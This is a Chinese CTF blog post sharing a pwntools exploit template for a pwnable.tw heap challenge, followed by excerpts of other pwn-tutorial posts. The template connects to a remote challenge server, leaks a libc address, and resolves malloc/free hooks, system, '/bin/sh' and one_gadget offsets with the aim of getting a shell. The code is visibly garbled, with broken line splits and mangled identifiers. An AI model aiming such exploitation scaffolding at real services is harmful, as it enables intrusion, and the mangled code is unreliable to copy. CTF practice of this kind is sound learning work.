今天在乙個師傅部落格中學到了一種當本地 libc 和遠端 libc 不一樣,除錯和 getshell 之間需要切換的情況下,這種模板就會很簡單。拿過來結合自己之前用的如下:
from pwn import
*import sys
context.log_level =
"debug"
elf = elf(
"./pwn"
)if sys.ar**[1]
=="process"
: p = process(
"./pwn"
) libc = elf(
"/lib/x86_64-linux-gnu/libc.so.6"
)else
: p = remote(
"chall.pwnable.tw"
,10302
) libc = elf(
"./libc_64.so.6"
)debug =
0if debug:
gdb.attach(p,
'''
b *0x08048935
c '''
)def
dbg():
gdb.attach(p)
pause(
)se =
lambda data :p.send(data)
sa =
lambda delim,data :p.sendafter(delim, data)
sl =
lambda data :p.sendline(data)
sla =
lambda delim,data :p.sendlineafter(delim, data)
rc =
lambda num :p.recv(num)
rl =
lambda
:p.recvline(
)ru =
lambda delims :p.recvuntil(delims)
uu32 =
lambda data :u32(data.ljust(4,
'\x00'))
uu64 =
lambda data :u64(data.ljust(8,
'\x00'))
info =
lambda tag, addr :log.info(tag +
" -> "
+hex
(addr)
)ia =
lambda
:p.interactive(
)libc_base = u64(ru(
"\x7f")[
-6:]
.ljust(8,
'\x00'))
-0x68
- libc.symbols[
'__malloc_hook'
]info(
"libc_base"
, libc_base)
malloc_hook = libc_base + libc.symbols[
'__malloc_hook'
]free_hook = libc_base + libc.symbols[
'__free_hook'
]system = libc_base + libc.symbols[
'system'
]bin_sh = libc_base + libc.search(
"/bin/sh").
next()
menu =
"your choice : "
defcmd
(idx)
: ru(menu)
sl(str(idx)
)def
add(length, name, color=
'blue'):
cmd(1)
ru("length of the name :"
) sl(
str(length)
) ru(
"the name of flower :"
) se(name)
ru("the color of the flower :"
) sl(color)
defshow()
: cmd(2)
defremove
(idx)
: cmd(3)
ru("remove from the garden:"
) sl(
str(idx)
)def
clear()
: cmd(4)
if sys.ar**[1]
=="process"
: one_gadget = libc_base +
0xf02a4
else
: one_gadget = libc_base +
0xef6c4
ia()
Pwn入門筆記(三)函式細節
關於p64 u64 int等轉換函式 題目中write 引數1,引數2,引數3 write有三個引數,引數1是模式,1 為寫模式,引數2在棧上其實是乙個位址,它會將這個位址上存的字串給列印出來,引數3是列印字串的長度。直接進行輸出,p 可以輸出後面引數的位址上的值 格式為0x 20 p 無空格 列印...
PWN系列 攻防世界pwn高階區welpwn分析
個人部落格位址 函式 也比較簡單。read那裡也不存溢位。都是0x400。緊接著呼叫了echo函式。在echo函式中,將大小為0x400的buf中的值複製給大小為0x10的s2,很明顯會造成溢位。唯一的問題就是,如果buf中含有 x00。會中斷迴圈。函式執行的整體流程就是,使用者輸入的字串會存放到b...
PWN環境 工具
寫exp必備工具。附上使用和安裝說明書 動態很多 著名的ollydbg 建議使用吾愛破解的 也在linux下也需要借助wine來執行。另外linux下直接在終端除錯的配套程式 gdb peda pwndbg radare2 onegadget peid upx等等,同樣linux下peid需要win...